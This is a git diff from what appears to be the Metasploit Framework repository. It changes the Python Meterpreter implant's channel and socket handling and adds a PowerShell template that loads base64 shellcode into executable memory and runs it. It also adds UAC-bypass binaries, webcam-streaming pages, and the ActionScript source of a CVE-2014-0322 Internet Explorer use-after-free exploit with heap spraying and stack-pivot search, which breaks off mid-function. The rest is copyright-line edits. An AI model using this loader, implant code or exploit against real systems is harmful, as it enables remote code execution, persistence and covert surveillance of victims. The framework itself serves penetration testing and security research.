threading.Thread.__init__(self) @@ -158,15 +212,10 @@ class STDProcessBuffer(threading.Thread): self.data_lock = threading.RLock() def run(self): - while self.is_alive(): - byte = self.std.read(1) + for byte in iter(lambda: self.std.read(1), ''): self.data_lock.acquire() self.data += byte self.data_lock.release() - data = self.std.read() - self.data_lock.acquire() - self.data += data - self.data_lock.release() def is_read_ready(self): return len(self.data) != 0 @@ -183,6 +232,7 @@ class STDProcessBuffer(threading.Thread): self.data_lock.release() return data +#@export class STDProcess(subprocess.Popen): def __init__(self, *args, **kwargs): subprocess.Popen.__init__(self, *args, **kwargs) @@ -192,6 +242,7 @@ class STDProcess(subprocess.Popen): self.stdout_reader.start() self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None) self.stderr_reader.start() +export(STDProcess) class PythonMeterpreter(object): def __init__(self, socket): @@ -206,10 +257,12 @@ class PythonMeterpreter(object): def register_function(self, func): self.extension_functions[func.__name__] = func + return func def register_function_windll(self, func): if has_windll: self.register_function(func) + return func def add_channel(self, channel): idx = 0 @@ -240,7 +293,8 @@ class PythonMeterpreter(object): self.socket.send(response) else: channels_for_removal = [] - channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed + # iterate over the keys because self.channels could be modified if one is closed + channel_ids = self.channels.keys() for channel_id in channel_ids: channel = self.channels[channel_id] data = '' @@ -253,7 +307,7 @@ class PythonMeterpreter(object): data = channel.stderr_reader.read() elif channel.poll() != None: self.handle_dead_resource_channel(channel_id) - elif isinstance(channel, socket._socketobject): + elif isinstance(channel, MeterpreterSocketClient): while len(select.select([channel.fileno()], [], [], 0)[0]): try: d = channel.recv(1) @@ -263,6 +317,21 @@ class PythonMeterpreter(object): self.handle_dead_resource_channel(channel_id) break data += d + elif isinstance(channel, MeterpreterSocketServer): + if len(select.select([channel.fileno()], [], [], 0)[0]): + (client_sock, client_addr) = channel.accept() + server_addr = channel.getsockname() + client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock)) + pkt = struct.pack('>I', PACKET_TYPE_REQUEST) + pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open') + pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id) + pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id) + pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0])) + pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1]) + pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0])) + pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1]) + pkt = struct.pack('>I', len(pkt) + 4) + pkt + self.socket.send(pkt) if data: pkt = struct.pack('>I', PACKET_TYPE_REQUEST) pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write') @@ -289,7 +358,9 @@ class PythonMeterpreter(object): if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: return ERROR_FAILURE preloadlib_methods = self.extension_functions.keys() - i = code.InteractiveInterpreter({'meterpreter':self, 'packet_enum_tlvs':packet_enum_tlvs, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess}) + symbols_for_extensions = {'meterpreter':self} + symbols_for_extensions.update(EXPORTED_SYMBOLS) + i = code.InteractiveInterpreter(symbols_for_extensions) i.runcode(compile(data_tlv['value'], '', 'exec')) postloadlib_methods = self.extension_functions.keys() new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods) @@ -304,7 +375,7 @@ class PythonMeterpreter(object): def _core_channel_open(self, request, response): channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE) - handler = 'channel_create_' + channel_type['value'] + handler = 'channel_open_' + channel_type['value'] if handler not in self.extension_functions: return ERROR_FAILURE, response handler = self.extension_functions[handler] @@ -319,7 +390,7 @@ class PythonMeterpreter(object): channel.close() elif isinstance(channel, subprocess.Popen): channel.kill() - elif isinstance(s, socket._socketobject): + elif isinstance(channel, MeterpreterSocket): channel.close() else: return ERROR_FAILURE, response @@ -335,7 +406,7 @@ class PythonMeterpreter(object): channel = self.channels[channel_id] result = False if isinstance(channel, file): - result = channel.tell() == os.fstat(channel.fileno()).st_size + result = channel.tell() >= os.fstat(channel.fileno()).st_size response += tlv_pack(TLV_TYPE_BOOL, result) return ERROR_SUCCESS, response @@ -368,7 +439,7 @@ class PythonMeterpreter(object): self.handle_dead_resource_channel(channel_id) if channel.stdout_reader.is_read_ready(): data = channel.stdout_reader.read(length) - elif isinstance(s, socket._socketobject): + elif isinstance(channel, MeterpreterSocket): data = channel.recv(length) else: return ERROR_FAILURE, response @@ -390,7 +461,7 @@ class PythonMeterpreter(object): self.handle_dead_resource_channel(channel_id) return ERROR_FAILURE, response channel.stdin.write(channel_data) - elif isinstance(s, socket._socketobject): + elif isinstance(channel, MeterpreterSocket): try: l = channel.send(channel_data) except socket.error: diff --git a/data/meterpreter/metsrv.x64.dll b/data/meterpreter/metsrv.x64.dll index 6dc9743a18..b80d35d745 100755 Binary files a/data/meterpreter/metsrv.x64.dll and b/data/meterpreter/metsrv.x64.dll differ diff --git a/data/meterpreter/metsrv.x86.dll b/data/meterpreter/metsrv.x86.dll index aeb272a4b6..15efbb9495 100755 Binary files a/data/meterpreter/metsrv.x86.dll and b/data/meterpreter/metsrv.x86.dll differ diff --git a/data/meterpreter/msflinker_linux_x86.bin b/data/meterpreter/msflinker_linux_x86.bin index 2d3eaeacc4..2f6cffe02f 100644 Binary files a/data/meterpreter/msflinker_linux_x86.bin and b/data/meterpreter/msflinker_linux_x86.bin differ diff --git a/data/meterpreter/screenshot.x64.dll b/data/meterpreter/screenshot.x64.dll index 5b95b74cd4..7eb1f3f307 100755 Binary files a/data/meterpreter/screenshot.x64.dll and b/data/meterpreter/screenshot.x64.dll differ diff --git a/data/meterpreter/screenshot.x86.dll b/data/meterpreter/screenshot.x86.dll index 1b47d33810..3699d2ae0c 100755 Binary files a/data/meterpreter/screenshot.x86.dll and b/data/meterpreter/screenshot.x86.dll differ diff --git a/data/post/bypassuac-x64.dll b/data/post/bypassuac-x64.dll new file mode 100755 index 0000000000..079b16ce11 Binary files /dev/null and b/data/post/bypassuac-x64.dll differ diff --git a/data/post/bypassuac-x64.exe b/data/post/bypassuac-x64.exe index 8ac912bb3e..b84c02bb14 100755 Binary files a/data/post/bypassuac-x64.exe and b/data/post/bypassuac-x64.exe differ diff --git a/data/post/bypassuac-x86.dll b/data/post/bypassuac-x86.dll new file mode 100755 index 0000000000..6b42302e3d Binary files /dev/null and b/data/post/bypassuac-x86.dll differ diff --git a/data/post/bypassuac-x86.exe b/data/post/bypassuac-x86.exe index b0fbb1639e..1746051ef5 100755 Binary files a/data/post/bypassuac-x86.exe and b/data/post/bypassuac-x86.exe differ diff --git a/data/templates/scripts/to_mem_pshreflection.ps1.template b/data/templates/scripts/to_mem_pshreflection.ps1.template new file mode 100644 index 0000000000..d1a83daf0c --- /dev/null +++ b/data/templates/scripts/to_mem_pshreflection.ps1.template @@ -0,0 +1,27 @@ +function %{func_get_proc_address} { + Param ($%{var_module}, $%{var_procedure}) + $%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') + + return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure})) +} + +function %{func_get_delegate_type} { + Param ( + [Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters}, + [Parameter(Position = 1)] [Type] $%{var_return_type} = [Void] + ) + + $%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed') + $%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed') + + return $%{var_type_builder}.CreateType() +} + +[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}") + +$%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x40) +[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length) + +$%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero) +[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null \ No newline at end of file diff --git a/data/templates/template_x64_windows.dll b/data/templates/template_x64_windows.dll index ac1106c823..9c524a6a98 100755 Binary files a/data/templates/template_x64_windows.dll and b/data/templates/template_x64_windows.dll differ diff --git a/data/templates/template_x86_windows.dll b/data/templates/template_x86_windows.dll index 27041fae57..a44e2dc650 100755 Binary files a/data/templates/template_x86_windows.dll and b/data/templates/template_x86_windows.dll differ diff --git a/data/webcam/answerer.html b/data/webcam/answerer.html new file mode 100644 index 0000000000..dadb7e32f5 --- /dev/null +++ b/data/webcam/answerer.html @@ -0,0 +1,193 @@ + + +webcam_chat + + + + + + +
+
+
+
+
+
+ Session status (=RHOST=):

+ +
+
+ + + \ No newline at end of file diff --git a/data/webcam/api.js b/data/webcam/api.js new file mode 100644 index 0000000000..26e4d256dc --- /dev/null +++ b/data/webcam/api.js @@ -0,0 +1,363 @@ +// Muaz Khan - https://github.com/muaz-khan +// MIT License - https://www.webrtc-experiment.com/licence/ +// Documentation - https://github.com/muaz-khan/WebRTC-Experiment/tree/master/websocket + +(function () { + + window.PeerConnection = function (socketURL, userid) { + this.userid = userid || getToken(); + this.peers = {}; + + if (!socketURL) throw 'Socket-URL is mandatory.'; + + new Signaler(this, socketURL); + + this.addStream = function(stream) { + this.MediaStream = stream; + }; + }; + + function Signaler(root, socketURL) { + var self = this; + + root.startBroadcasting = function () { + if(!root.MediaStream) throw 'Offerer must have media stream.'; + + (function transmit() { + socket.send({ + userid: root.userid, + broadcasting: true + }); + !self.participantFound && + !self.stopBroadcasting && + setTimeout(transmit, 3000); + })(); + }; + + root.sendParticipationRequest = function (userid) { + socket.send({ + participationRequest: true, + userid: root.userid, + to: userid + }); + }; + + // if someone shared SDP + this.onsdp = function (message) { + var sdp = message.sdp; + + if (sdp.type == 'offer') { + root.peers[message.userid] = Answer.createAnswer(merge(options, { + MediaStream: root.MediaStream, + sdp: sdp + })); + } + + if (sdp.type == 'answer') { + root.peers[message.userid].setRemoteDescription(sdp); + } + }; + + root.acceptRequest = function (userid) { + root.peers[userid] = Offer.createOffer(merge(options, { + MediaStream: root.MediaStream + })); + }; + + var candidates = []; + // if someone shared ICE + this.onice = function (message) { + var peer = root.peers[message.userid]; + if (peer) { + peer.addIceCandidate(message.candidate); + for (var i = 0; i < candidates.length; i++) { + peer.addIceCandidate(candidates[i]); + } + candidates = []; + } else candidates.push(candidates); + }; + + // it is passed over Offer/Answer objects for reusability + var options = { + onsdp: function (sdp) { + socket.send({ + userid: root.userid, + sdp: sdp, + to: root.participant + }); + }, + onicecandidate: function (candidate) { + socket.send({ + userid: root.userid, + candidate: candidate, + to: root.participant + }); + }, + onStreamAdded: function (stream) { + console.debug('onStreamAdded', '>>>>>>', stream); + + stream.onended = function () { + if (root.onStreamEnded) root.onStreamEnded(streamObject); + }; + + var mediaElement = document.createElement('video'); + mediaElement.id = root.participant; + mediaElement[isFirefox ? 'mozSrcObject' : 'src'] = isFirefox ? stream : window.webkitURL.createObjectURL(stream); + mediaElement.autoplay = true; + mediaElement.controls = true; + mediaElement.play(); + + var streamObject = { + mediaElement: mediaElement, + stream: stream, + userid: root.participant, + type: 'remote' + }; + + function afterRemoteStreamStartedFlowing() { + if (!root.onStreamAdded) return; + root.onStreamAdded(streamObject); + } + + afterRemoteStreamStartedFlowing(); + } + }; + + function closePeerConnections() { + self.stopBroadcasting = true; + if (root.MediaStream) root.MediaStream.stop(); + + for (var userid in root.peers) { + root.peers[userid].peer.close(); + } + root.peers = {}; + } + + root.close = function () { + socket.send({ + userLeft: true, + userid: root.userid, + to: root.participant + }); + closePeerConnections(); + }; + + window.onbeforeunload = function () { + root.close(); + }; + + window.onkeyup = function (e) { + if (e.keyCode == 116) + root.close(); + }; + + function onmessage(e) { + var message = JSON.parse(e.data); + + if (message.userid == root.userid) return; + root.participant = message.userid; + + // for pretty logging + console.debug(JSON.stringify(message, function (key, value) { + if (value && value.sdp) { + console.log(value.sdp.type, '---', value.sdp.sdp); + return ''; + } else return value; + }, '---')); + + // if someone shared SDP + if (message.sdp && message.to == root.userid) { + self.onsdp(message); + } + + // if someone shared ICE + if (message.candidate && message.to == root.userid) { + self.onice(message); + } + + // if someone sent participation request + if (message.participationRequest && message.to == root.userid) { + self.participantFound = true; + + if (root.onParticipationRequest) { + root.onParticipationRequest(message.userid); + } else root.acceptRequest(message.userid); + } + + // if someone is broadcasting himself! + if (message.broadcasting && root.onUserFound) { + root.onUserFound(message.userid); + } + + if (message.userLeft && message.to == root.userid) { + closePeerConnections(); + } + } + + var socket = socketURL; + if(typeof socketURL == 'string') { + socket = new WebSocket(socketURL); + socket.push = socket.send; + socket.send = function (data) { + socket.push(JSON.stringify(data)); + }; + + socket.onopen = function () { + console.log('websocket connection opened.'); + }; + } + socket.onmessage = onmessage; + } + + var RTCPeerConnection = window.mozRTCPeerConnection || window.webkitRTCPeerConnection; + var RTCSessionDescription = window.mozRTCSessionDescription || window.RTCSessionDescription; + var RTCIceCandidate = window.mozRTCIceCandidate || window.RTCIceCandidate; + + navigator.getUserMedia = navigator.mozGetUserMedia || navigator.webkitGetUserMedia; + window.URL = window.webkitURL || window.URL; + + var isFirefox = !!navigator.mozGetUserMedia; + var isChrome = !!navigator.webkitGetUserMedia; + + var STUN = { + url: isChrome ? 'stun:stun.l.google.com:19302' : 'stun:23.21.150.121' + }; + + var TURN = { + url: 'turn:homeo@turn.bistri.com:80', + credential: 'homeo' + }; + + var iceServers = { + iceServers: [STUN] + }; + + if (isChrome) { + if (parseInt(navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./)[2]) >= 28) + TURN = { + url: 'turn:turn.bistri.com:80', + credential: 'homeo', + username: 'homeo' + }; + + iceServers.iceServers = [STUN, TURN]; + } + + var optionalArgument = { + optional: [{ + DtlsSrtpKeyAgreement: true + }] + }; + + var offerAnswerConstraints = { + optional: [], + mandatory: { + OfferToReceiveAudio: true, + OfferToReceiveVideo: true + } + }; + + function getToken() { + return Math.round(Math.random() * 9999999999) + 9999999999; + } + + function onSdpError() {} + + // var offer = Offer.createOffer(config); + // offer.setRemoteDescription(sdp); + // offer.addIceCandidate(candidate); + var Offer = { + createOffer: function (config) { + var peer = new RTCPeerConnection(iceServers, optionalArgument); + + if (config.MediaStream) peer.addStream(config.MediaStream); + peer.onaddstream = function (event) { + config.onStreamAdded(event.stream); + }; + + peer.onicecandidate = function (event) { + if (event.candidate) + config.onicecandidate(event.candidate); + }; + + peer.createOffer(function (sdp) { + peer.setLocalDescription(sdp); + config.onsdp(sdp); + }, onSdpError, offerAnswerConstraints); + + this.peer = peer; + + return this; + }, + setRemoteDescription: function (sdp) { + this.peer.setRemoteDescription(new RTCSessionDescription(sdp)); + }, + addIceCandidate: function (candidate) { + this.peer.addIceCandidate(new RTCIceCandidate({ + sdpMLineIndex: candidate.sdpMLineIndex, + candidate: candidate.candidate + })); + } + }; + + // var answer = Answer.createAnswer(config); + // answer.setRemoteDescription(sdp); + // answer.addIceCandidate(candidate); + var Answer = { + createAnswer: function (config) { + var peer = new RTCPeerConnection(iceServers, optionalArgument); + + if (config.MediaStream) peer.addStream(config.MediaStream); + peer.onaddstream = function (event) { + config.onStreamAdded(event.stream); + }; + + peer.onicecandidate = function (event) { + if (event.candidate) + config.onicecandidate(event.candidate); + }; + + peer.setRemoteDescription(new RTCSessionDescription(config.sdp)); + peer.createAnswer(function (sdp) { + peer.setLocalDescription(sdp); + config.onsdp(sdp); + }, onSdpError, offerAnswerConstraints); + + this.peer = peer; + + return this; + }, + addIceCandidate: function (candidate) { + this.peer.addIceCandidate(new RTCIceCandidate({ + sdpMLineIndex: candidate.sdpMLineIndex, + candidate: candidate.candidate + })); + } + }; + + function merge(mergein, mergeto) { + for (var t in mergeto) { + mergein[t] = mergeto[t]; + } + return mergein; + } + + window.URL = window.webkitURL || window.URL; + navigator.getMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia; + navigator.getUserMedia = function(hints, onsuccess, onfailure) { + if(!hints) hints = {audio:true,video:true}; + if(!onsuccess) throw 'Second argument is mandatory. navigator.getUserMedia(hints,onsuccess,onfailure)'; + + navigator.getMedia(hints, _onsuccess, _onfailure); + + function _onsuccess(stream) { + onsuccess(stream); + } + + function _onfailure(e) { + if(onfailure) onfailure(e); + else throw Error('getUserMedia failed: ' + JSON.stringify(e, null, '\t')); + } + }; + +})(); \ No newline at end of file diff --git a/data/webcam/offerer.html b/data/webcam/offerer.html new file mode 100644 index 0000000000..f52a15e352 --- /dev/null +++ b/data/webcam/offerer.html @@ -0,0 +1,195 @@ + + + Video session + + + + + + + +
+ You peer +
+ +
+
+
+ +
+ You +
+ +
+ Status:

+ Waiting for your peer to join the video session... +
+ + + + + \ No newline at end of file diff --git a/documentation/samples/pro/msfrpc_pro_report.rb b/documentation/samples/pro/msfrpc_pro_report.rb deleted file mode 100644 index 6095a8d7bb..0000000000 --- a/documentation/samples/pro/msfrpc_pro_report.rb +++ /dev/null @@ -1,126 +0,0 @@ -#!/usr/bin/env ruby - -require 'rubygems' -require 'optparse' -require 'msfrpc-client' -require 'rex/ui' - -def usage(ropts) - $stderr.puts ropts - - if @rpc and @rpc.token - wspaces = @rpc.call("pro.workspaces") rescue {} - if wspaces.keys.length > 0 - $stderr.puts "Active Projects:" - wspaces.each_pair do |k,v| - $stderr.puts "\t#{k}" - end - end - end - $stderr.puts "" - exit(1) -end - -opts = { - :format => 'PDF' -} - -parser = Msf::RPC::Client.option_parser(opts) - -parser.separator('Report Options:') -parser.on("--format FORMAT") do |v| - opts[:format] = v.upcase -end - -parser.on("--project PROJECT") do |v| - opts[:project] = v -end - -parser.on("--output OUTFILE") do |v| - opts[:output] = v -end - -parser.on("--help") do - $stderr.puts parser - exit(1) -end -parser.separator('') - -parser.parse!(ARGV) -@rpc = Msf::RPC::Client.new(opts) - -if not @rpc.token - $stderr.puts "Error: Invalid RPC server options specified" - $stderr.puts parser - exit(1) -end - -project = opts[:project] || usage(parser) -fname = opts[:output] || usage(parser) -rtype = opts[:format] -user = @rpc.call("pro.default_admin_user")['username'] - -task = @rpc.call("pro.start_report", { - 'DS_WHITELIST_HOSTS' => "", - 'DS_BLACKLIST_HOSTS' => "", - 'workspace' => project, - 'username' => user, - 'DS_MaskPasswords' => false, - 'DS_IncludeTaskLog' => false, - 'DS_JasperDisplaySession' => true, - 'DS_JasperDisplayCharts' => true, - 'DS_LootExcludeScreenshots' => false, - 'DS_LootExcludePasswords' => false, - 'DS_JasperTemplate' => "msfxv3.jrxml", - 'DS_REPORT_TYPE' => rtype.upcase, - 'DS_UseJasper' => true, - 'DS_UseCustomReporting' => true, - 'DS_JasperProductName' => "Metasploit Pro", - 'DS_JasperDbEnv' => "production", - 'DS_JasperLogo' => '', - 'DS_JasperDisplaySections' => "1,2,3,4,5,6,7,8", - 'DS_EnablePCIReport' => true, - 'DS_EnableFISMAReport' => true, - 'DS_JasperDisplayWeb' => true, -}) - - -if not task['task_id'] - $stderr.puts "[-] Error generating the report: #{task.inspect}" - exit(0) -end - -puts "[*] Report is generating with Task ID #{task['task_id']}..." -while true - select(nil, nil, nil, 0.50) - stat = @rpc.call("pro.task_status", task['task_id']) - if stat['status'] == 'invalid' - $stderr.puts "[-] Error checking task status" - exit(0) - end - - info = stat[ task['task_id'] ] - - if not info - $stderr.puts "[-] Error finding the task" - exit(0) - end - - if info['status'] == "error" - $stderr.puts "[-] Error generating report: #{info['error']}" - exit(0) - end - - break if info['progress'] == 100 -end - -report = @rpc.call('pro.report_download_by_task', task['task_id']) -if report and report['data'] - ::File.open(fname, "wb") do |fd| - fd.write(report['data']) - end - $stderr.puts "[-] Report saved to #{::File.expand_path(fname)}" -else - $stderr.puts "[-] Error downloading report: #{report.inspect}" -end - diff --git a/documentation/users_guide.tex b/documentation/users_guide.tex index 2b5994ba62..cc46448d38 100644 --- a/documentation/users_guide.tex +++ b/documentation/users_guide.tex @@ -878,7 +878,7 @@ The Metasploit Framework is distributed under the modified-BSD license defined b {\footnotesize \begin{verbatim} -Copyright (c) 2008, Rapid7 LLC +Copyright (c) 2008, Rapid7, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, @@ -891,7 +891,7 @@ are permitted provided that the following conditions are met: this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the name of Rapid7 LLC nor the names of its contributors + * Neither the name of Rapid7, Inc. nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. diff --git a/external/ruby-kissfft/ext/kissfft/main.c b/external/ruby-kissfft/ext/kissfft/main.c index 564378f7a8..13c0a94f1b 100644 --- a/external/ruby-kissfft/ext/kissfft/main.c +++ b/external/ruby-kissfft/ext/kissfft/main.c @@ -1,6 +1,6 @@ /* ruby-kissfft: a simple ruby module embedding the Kiss FFT library - Copyright (C) 2009-2010 Rapid7 LLC - H D Moore + Copyright (C) 2009-2010 Rapid7, Inc - H D Moore Derived from "psdpng.c" from the KissFFT tools directory Copyright (C) 2003-2006 Mark Borgerding diff --git a/external/ruby-lorcon/Lorcon.c b/external/ruby-lorcon/Lorcon.c index bfd427b744..196d67919b 100644 --- a/external/ruby-lorcon/Lorcon.c +++ b/external/ruby-lorcon/Lorcon.c @@ -33,7 +33,7 @@ */ /* - All ruby-lorcon/rubyisms are by Rapid7 LLC (C) 2006-2007 + All ruby-lorcon/rubyisms are by Rapid7, Inc (C) 2006-2007 http://metasploit.com/ - msfdev[at]metasploit.com */ diff --git a/external/ruby-lorcon2/Lorcon2.c b/external/ruby-lorcon2/Lorcon2.c index 226b6cc773..1a69658d2d 100644 --- a/external/ruby-lorcon2/Lorcon2.c +++ b/external/ruby-lorcon2/Lorcon2.c @@ -37,7 +37,7 @@ */ /* - All ruby-lorcon/rubyisms are by Metasploit LLC (C) 2006-2007 + All ruby-lorcon/rubyisms are by Rapid7, Inc. (C) 2006-2007 http://metasploit.com/ - msfdev[at]metasploit.com */ diff --git a/external/source/DLLHijackAuditKit/analyze.js b/external/source/DLLHijackAuditKit/analyze.js index 75e6e9720b..9b8ad64f76 100644 --- a/external/source/DLLHijackAuditKit/analyze.js +++ b/external/source/DLLHijackAuditKit/analyze.js @@ -1,4 +1,4 @@ -/* DLLHijackAuditKit (C) 2010 Rapid7 LLC */ +/* DLLHijackAuditKit (C) 2010 Rapid7, Inc */ var oFso = new ActiveXObject("Scripting.FileSystemObject"); var oShl = new ActiveXObject("WScript.Shell"); diff --git a/external/source/DLLHijackAuditKit/audit.js b/external/source/DLLHijackAuditKit/audit.js index b9b1149fe2..2ad17d3767 100644 --- a/external/source/DLLHijackAuditKit/audit.js +++ b/external/source/DLLHijackAuditKit/audit.js @@ -1,4 +1,4 @@ -/* DLLHijackAuditKit (C) 2010 Rapid7 LLC */ +/* DLLHijackAuditKit (C) 2010 Rapid7, Inc */ function print_status(msg) { try { diff --git a/external/source/exploits/CVE-2014-0322/AsXploit.as b/external/source/exploits/CVE-2014-0322/AsXploit.as new file mode 100755 index 0000000000..4641b060b4 --- /dev/null +++ b/external/source/exploits/CVE-2014-0322/AsXploit.as @@ -0,0 +1,519 @@ +/* + * MS14-012 Internet Explorer CMarkup Use-After-Free + * Vendor Homepage: http://www.microsoft.com + * Version: IE 10 + * Date: 2014-03-31 + * Exploit Author: Jean-Jamil Khalife + * Tested on: Windows 7 SP1 x64 (fr, en) + * Flash versions tested: Adobe Flash Player (12.0.0.70, 12.0.0.77) + * Home: http://www.hdwsec.fr + * Blog : http://www.hdwsec.fr/blog/ + * MS14-012 / CVE-2014-0322 + * + * Generation: + * c:\mxmlc\bin>mxmlc.exe AsXploit.as -o AsXploit.swf + * + */ + +package +{ + import __AS3__.vec.Vector; + import flash.display.*; + import flash.events.*; + import flash.external.*; + import flash.media.*; + import flash.net.*; + import flash.text.*; + import flash.utils.*; + import Math; + import flash.system.Security; + import flash.external.ExternalInterface; + + import flash.display.LoaderInfo; + + + public class AsXploit extends Sprite + { + public var s:Vector.; + public var spraysound:Vector.; + public var myTimer:Timer; + public var sound:Sound; + public var shellcodeObj:Array; + + /* + * Prepare the heap + * Trigger the vulnerability + * Exploit :) + */ + public function AsXploit() + { + shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.version.split(","); + + /* Prepare the heap */ + init_heap(); + + /* Trigger the vulnerability */ + ExternalInterface.call("trigger"); + + /* Check every second if the vulnerability has triggered */ + myTimer = new Timer(1000, 114096); + myTimer.addEventListener("timer", timerHandler); + myTimer.start(); + } + + /* Prepare the heap + * Spray aligned vector & sound objects + */ + public function init_heap():void + { + var len:int = 0; + var i:int = 0; + + /* Spray the integer array */ + this.s = new Vector.(0x18180); + while (len < 0x18180) + { + this.s[len] = new Vector.(0x1000 / 4 - 16); + for (i=0; i < this.s[len].length; i++) + { + this.s[len][i] = 0x1a1a1a1a; + } + + ++len; + } + + /* Spray sound object ptr */ + this.sound = new Sound(); + this.spraysound = new Vector.(0x100); + + len = 0; + while (len < 0x100) + { + this.spraysound[len] = new Vector.(0x1234); + for (i=0; i < this.spraysound[len].length; i++) + { + this.spraysound[len][i] = this.sound; + } + ++len; + } + } + + /* + * Read an INT value in memory + */ + public function readInt(u1:int, u2:int, mod:uint):int + { + var valres:uint = 0; + + if (mod == 1){ + valres = ((u1 & 0xFFFFFF00)/0x100) + (u2&0xFF)*0x1000000; + } + else if (mod == 2){ + valres = ((u1 & 0xFFFF0000)/0x10000) + (u2&0xFFFF)*0x10000; + } + else if (mod == 3){ + valres = ((u1 & 0xFF000000)/0x1000000) + (u2&0xFFFFFF)*0x100; + } + else + { + valres = u1; + } + + return valres; + } + + + /* + * Search a stack pivot dynamically + * baseflashaddr_off: flash dll base address offset + * index: index of vectors table + * offset: offset to get the Stackpivot RVA + */ + public function getSP(baseflashaddr_off:uint, index:uint, offset:uint):uint + { + var sp:uint = 0; + var sn:uint = 0; + var secname:uint = 0; + var sec:uint = 0; + var peindex:uint = 0; + var virtualSize:uint = 0; + var virtualAddr:uint = 0; + var i:uint = 0; + + /* Find .text */ + peindex = this.s[index][baseflashaddr_off+0x3C/4]; + sn = this.s[index][baseflashaddr_off+peindex/4+1] >> 16; + + /* Find 0xC394 */ + for (sec=0; sec < sn; sec++) + { + if (this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4] == 0x7865742E + && this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+1] == 0x74) + { + virtualAddr = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+3]; + virtualSize = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+2]; + + /* Find a stack pivot */ + for (i=0; i < virtualSize/4; i++) + { + if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF) != 0xC394) + { + if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF00 ) != 0xC39400) + { + if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF0000 ) != 0xC3940000) + { + if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFF000000 ) == 0x94000000 + && (this.s[index][baseflashaddr_off+virtualAddr/4 + i + 1] & 0xFF ) == 0xC3) + { + sp = virtualAddr + i*4 + 3; + break; + } + } + else + { + sp = virtualAddr + i*4 + 2; + break; + } + } + else + { + sp = virtualAddr + i*4 + 1; + break; + } + } + else + { + sp = virtualAddr + i*4; + break; + } + } + } + + } + + if (sp != 0) + sp = offset+sp; + + return sp; + } + + /* + * Build & Insert the stack pivot + ROP + Shellcode + * Corrupt sound object vtable ptr + * baseflashaddr_off: flash dll address offset + * index: vectors table index + * cvaddr: corrupted vector address + * virtualprotectaddr: virtual protect address + * sp: stack pivot address + */ + public function buildPayload(baseflashaddr_off:uint, index:uint, j:uint, cvaddr:uint, virtualprotectaddr:uint, sp:uint ):void + { + var dec:uint = 0; + var soundobjref:uint = 0; + var soundobjaddr:uint = 0; + var sh:uint=0x300; + var i:uint = 0; + + /* Corrupt 